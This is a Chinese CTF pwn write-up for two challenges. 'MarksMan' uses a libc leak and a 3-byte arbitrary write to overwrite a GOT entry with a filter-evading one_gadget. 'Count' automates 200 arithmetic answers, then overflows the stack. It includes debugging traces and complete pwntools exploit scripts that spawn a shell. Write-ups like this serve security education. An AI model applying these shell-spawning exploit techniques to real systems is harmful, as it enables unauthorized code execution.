MarksMan

考点:任意地址写

程序保护措施全开,开局给一个puts的地址,然后就是直接进入任意地址写入操作。

写入的目标地址直接填十进制字符,程序会调用 atol 给它转为 int 型。

1
return atol(&nptr);

向目标地址写入只能是 3 个字节,也就是低三位

1
2
3
4
5
6
for ( i = 0; i <= 2; ++i )
{
puts("biang!");
read(0, &v7[i], 1uLL);
getchar();
}

这种题目貌似是前几个星期国外那边兴起的,然后基本套路就是在写入函数后(这题就是 main 函数 27 行之后)找 call 指令,找到适合的函数,修改为 onegadget 地址。

根据作者介绍,题目过滤了全部 one_gadget ,推测应该就是sub_BC2这个函数,如果不含有过滤的 onegadget 就返回 1 ,进入任意地址写操作。

1
2
3
4
5
6
7
signed __int64 __fastcall sub_BC2(_BYTE *a1)
{
if ( (*a1 != 0xC5u || a1[1] != 0xF2u) && (*a1 != 0x22 || a1[1] != 0xF3u) && *a1 != 0x8Cu && a1[1] != 0xA3u )
return 1LL;
puts("You always want a Gold Finger!");
return 0LL;
}

但是又从别的大佬 wp 看到,其实one_gadget xxxx对于 onegadget 显示级别默认是 1 ,也就是只需要满足一个条件的,类似于这样:

1
2
3
4
ubuntu18:~/hufu/pwn1$ one_gadget libc.so.6 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL

作者也就屏蔽了等级为 1 的 onegadget 。也就是说其他等级 onegadget 可能可用,显示其他等级 onegadget 加入参数-lx(x 为级别),就能查询到这些:

1
2
3
4
5
ubuntu18:~/hufu/pwn1$ one_gadget libc.so.6 -l2
0xe569f execve("/bin/sh", r14, r12)
constraints:
[r14] == NULL || r14 == NULL
[r12] == NULL || r12 == NULL

调试寻找合适 got 表地址

调试环节,也就是找合适的 call 。首先就需要知道你修改后的目标值(onegadget 地址),然后为了能运行到写入函数后,肯定就需要一个存在的写入地址,就随便选一个 libc 地址。

调试使用的地址:

1
2
3
4
5
写入地址:				0x00007f96485cbc30
写入地址初始值: 0x00007f29b7 40ea40
onegadget 地址: 0x00007f9648 2c569f
寻找目标 got.plt 为: 0x00007f9648 xxxxxx
libc_base 为: 0x00007f37f9d55000

在最后一次输入修改值前下断点:

1
2
3
p.recvuntil('biang!\n')
gdb.attach(p,'b *$rebase(0xd63)')
p.sendline(p8((og>>16)&0xff))

step单步调试,遇到 call 就si单步入调用 plt 函数,看跳转到 got.plt 哪里。

在 _dlerror_run+96 调用了 _dl_catch_error@plt 对应地址 0x7f37fa146d90 (_dl_catch_error plt 表地址):

1
2
3
4
5
6
7
  0x7f37fa14772a <_dlerror_run+90>     mov    r8, r12
0x7f37fa14772d <_dlerror_run+93> mov rcx, rbp
► 0x7f37fa147730 <_dlerror_run+96> call _dl_catch_error@plt <0x7f37fa146d90>
rdi: 0x7f37fa3490f0 (last_result+16) ◂— 0x0
rsi: 0x7f37fa3490f8 (last_result+24) ◂— 0x0
rdx: 0x7f37fa3490e8 (last_result+8) ◂— 0x0
rcx: 0x7f37fa146f40 (dlopen_doit) ◂— push rbx

这里si单步入,到 plt 找跳转的 got.plt 地址。第一行就是跳转的地址。

1
2
3
4
5
6
7
► 0x7f37fa146d90 <_dl_catch_error@plt>              jmp    qword ptr [rip + 0x2022a2] <0x7f37fa349038>

0x7f37fa146d96 <_dl_catch_error@plt+6> push 4
0x7f37fa146d9b <_dl_catch_error@plt+11> jmp 0x7f37fa146d40

0x7f37fa146d40 push qword ptr [rip + 0x2022c2] <0x7f37fa349008>
0x7f37fa146d46 jmp qword ptr [rip + 0x2022c4] <0x7f37fa361750>

你也可以这样查 got.plt 中跳转的地址:

[collapse title=”展开查看详情” status=”false”]首先还是一样需要step单步到_dlerror_run+96 ,就得到 plt 地址:0x7f37fa146d90。然后使用命令disass 0x7f37fa146d90,反编译 plt 函数看看里面命令:

1
2
3
4
5
6
pwndbg> disass 0x7f37fa146d90
Dump of assembler code for function _dl_catch_error@plt:
0x00007f37fa146d90 <+0>: jmp QWORD PTR [rip+0x2022a2] # 0x7f37fa349038 <[email protected]>
0x00007f37fa146d96 <+6>: push 0x4
0x00007f37fa146d9b <+11>: jmp 0x7f37fa146d40

当中的第一行就是 got.plt 地址,然后查一下里面的值就是函数地址或返回 plt :

1
2
pwndbg> x /gx 0x7f37fa349038
0x7f37fa349038 <[email protected]>: 0x00007f37fa146d96

pdisass 命令好像也是可以的,但好似有时会直接返回函数 libc 地址,有时又返回 plt 操作。查了一下disass是反编译输出,pdisass是带颜色和格式输出:(大雾.png)

1
2
3
4
5
pwndbg> pdisass 0x7f37fa146d90
► 0x7f37fa146d90 <_dl_catch_error@plt> jmp qword ptr [rip + 0x2022a2] <0x7f37fa349038>

0x7f37fa146d96 <_dl_catch_error@plt+6> push 4
0x7f37fa146d9b <_dl_catch_error@plt+11> jmp 0x7f37fa146d40

[/collapse]

为什么跳转地址是回到 plt ?

[collapse title=”展开查看详情” status=”false”]这个函数之前没有调用过,got 表没有记录,所以让 plt 出发链接器去找地址。

GOT 与 PLT 关系可以看这里

[/collapse]

反正不管它跳转那里只要符合要求,就是跳转地址前缀是0x00007f9648就行。

所以最后应该向 0x7f37fa349038 写入,写入前的值为:0x00007f37fa146d96,写入后的值为:0x00007f96482c569f

程序开了 PIE ,所以算下偏移:0x7f37fa349038-0x7f37f9d55000=0x5f4038

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python
#coding=utf-8
from pwn import *

context.log_level = 'debug'
p = process("./chall")
elf = ELF("./chall")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF("./libc.so.6")

onegadget_offset = 0xe569f
write_add_offset = 0x5f4038

p.recvuntil("I placed the target near: ")
puts_leak = int(p.recv(14),16)
log.info("puts_leak:"+hex(puts_leak))
libc_base = puts_leak - libc.symbols['puts']
log.info("libc_base:"+hex(libc_base))
#malloc = libc_base + libc.symbols['__malloc_hook']
#log.info("malloc:"+hex(malloc))
onegadget = onegadget_offset + libc_base
log.info("onegadet:"+hex(onegadget))
write_addr = write_add_offset + libc_base
log.info("write_addr:"+hex(write_addr))

p.recvuntil('shoot!shoot!\n')
#p.sendline(str(malloc))
p.sendline(str(write_addr))
p.recvuntil('biang!\n')
p.sendline(p8(onegadget&0xff))
p.recvuntil('biang!\n')
p.sendline(p8((onegadget>>8)&0xff))
p.recvuntil('biang!\n')
#gdb.attach(p,'b *$rebase(0xd63)')
p.sendline(p8((onegadget>>16)&0xff))

p.interactive()

Count

算术题200道,之后通过栈溢出覆盖栈上变量为 256

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context.log_level='debug'
p = remote('39.97.210.182',40285)

i = 0

while(i < 200):
p.recvuntil("there have 200 levels ~Math: ")
anw = p.recvuntil(" = ???input answer:",drop=1).split(' ')
anw = int(anw[0])*int(anw[2])+int(anw[4])+int(anw[6])
p.sendline(str(anw))
i+=1

payload = 'a'*100+p64(0x12235612)
p.sendline(payload)
p.recvuntil("get it")
p.interactive()